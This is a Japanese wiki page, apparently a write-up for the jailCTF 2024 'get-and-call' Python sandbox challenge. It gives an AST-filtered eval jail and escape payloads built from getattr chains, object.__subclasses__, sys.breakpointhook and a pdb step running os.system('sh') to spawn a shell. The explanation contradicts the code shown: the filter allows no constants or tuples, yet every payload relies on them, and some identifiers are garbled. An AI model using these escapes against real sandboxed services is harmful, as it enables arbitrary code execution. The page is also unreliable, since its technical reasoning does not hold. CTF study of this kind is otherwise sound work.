pyjail wiki

jailCTF 2024 - get-and-call

Challenge

getattr と関数呼び出しのみ許可された環境。

import ast
code = input()
tree = ast.parse(code, mode='eval')
# 許可するノードタイプ
allowed = {ast.Expression, ast.Call, ast.Attribute, ast.Name, ast.Load}
for node in ast.walk(tree):
if type(node) not in allowed:
print("Forbidden!")
exit()
result = eval(code)

Solution

getattr チェーン

属性アクセスと関数呼び出しのみで RCE を達成:

# __class__ → __bases__ → __subclasses__ チェーン
getattr(getattr(getattr(getattr((), '__class__'), '__bases__'), '__getitem__')(0), '__subclasses__')()

breakpointhook の利用

# sys.breakpointhook を呼び出して pdb を起動
getattr(getattr(__import__('sys'), 'breakpointhook'), '__call__')()

pdb 内から:

(Pdb) import os; os.system('sh')

init.globals 経由

getattr(getattr(getattr(getattr(getattr(getattr((), '__class__'), '__bases__'), '__getitem__')(0), '__subclasses__')(), '__getitem__')(INDEX), '__init__')

INDEX_wrap_close などの危険なクラスのインデックス。

Technical Details

AST ベースのフィルタは特定のノードタイプのみを許可:

  • ast.Call - 関数呼び出し f()
  • ast.Attribute - 属性アクセス x.y
  • ast.Name - 名前参照 x

これらを組み合わせることで、リスト添字 [0] は使えないが、__getitem__(0) は使える。

Flag

jail{...}

References

  • jailCTF 2024 Official
  • Python ast module documentation